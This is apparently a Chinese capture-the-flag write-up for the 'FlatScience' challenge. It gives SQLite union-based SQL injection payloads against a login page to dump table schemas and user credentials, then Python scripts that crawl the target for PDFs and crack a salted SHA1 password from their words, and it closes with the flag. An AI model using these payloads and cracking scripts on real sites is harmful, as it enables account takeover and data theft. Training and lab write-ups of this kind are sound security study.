攻防世界FlatScience

Posted 2020-12-12 injection

访问robots.txt发现 admin.php和login.php

在admin.php和login.php分别尝试注入

发现login.php页面存在注入，并且根据报错得知数据库类型为sqlite数据库

sqlite数据库注入参考连接

https://blog.csdn.net/weixin_34405925/article/details/89694378

sqlite数据库存在一个sqlite_master表，功能类似于mysql的information_schema一样。具体内容如下：

字段：type/name/tbl_name/rootpage/sql

union select联合查询：

 

‘union select name,sql from sqlite_master--+

 

可以得到创建表的结构

解码

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255))

 

Payload

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=chybeta  
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=chybeta

用户名

密码

密码进行了密码+salt进行了sha1加密

继续注入得出线索

 

根据提示登录密码在pdf里面

因为pdfminer.six在2020年不支持python2，网上大多数脚本都不好用了，所以找了一个python3的脚本

大佬链接https://www.dazhuanlan.com/2020/03/25/5e7a45d159f40/

安装模块

pip3 install pdfminer.six

python3爬取多目标网页PDF文件并下载到指定目录

 

import urllib.request
import re
import os


# open the url and read
def gethtml(url):
    page = urllib.request.urlopen(url)
    html = page.read()
    page.close()
    return html

def getUrl(html):
    reg = r‘(?:href|HREF)="?((?:http://)?.+?.pdf)‘
    url_re = re.compile(reg)
    url_lst = url_re.findall(html.decode(‘utf-8‘))
    return(url_lst)

def getFile(url):
    file_name = url.split(‘/‘)[-1]
    u = urllib.request.urlopen(url)
    f = open(file_name, ‘wb‘)

    block_sz = 8192
    while True:
        buffer = u.read(block_sz)
        if not buffer:
            break

        f.write(buffer)
    f.close()
    print ("Sucessful to download" + " " + file_name)

#指定网页
root_url = [‘http://111.198.29.45:54344/1/2/5/‘,
            ‘http://111.198.29.45:54344/‘]

raw_url = [‘http://111.198.29.45:54344/1/2/5/index.html‘,
            ‘http://111.198.29.45:54344/index.html‘
           ]
#指定目录
os.mkdir(‘ldf_download‘)
os.chdir(os.path.join(os.getcwd(), ‘ldf_download‘))
for i in range(len(root_url)):
    print("当前网页：",root_url[i])
    html = getHtml(raw_url[i])
    url_lst = getUrl(html)

    for url in url_lst[:]:
        url = root_url[i] + url
        getFile(url)

 

python3识别PDF内容并进行密码对冲

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./ldf_download/") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = ‘utf-8‘
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, ‘rb‘)
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode(‘utf-8‘)+‘Salz!‘.encode(‘utf-8‘)).hexdigest()
            if (sha1_password == ‘3fab54a50e770d830c0416df817567662a9dc85c‘):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

回到admin.php界面登录得出falg

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

参考链接:https://blog.csdn.net/harry_c/article/details/101773526

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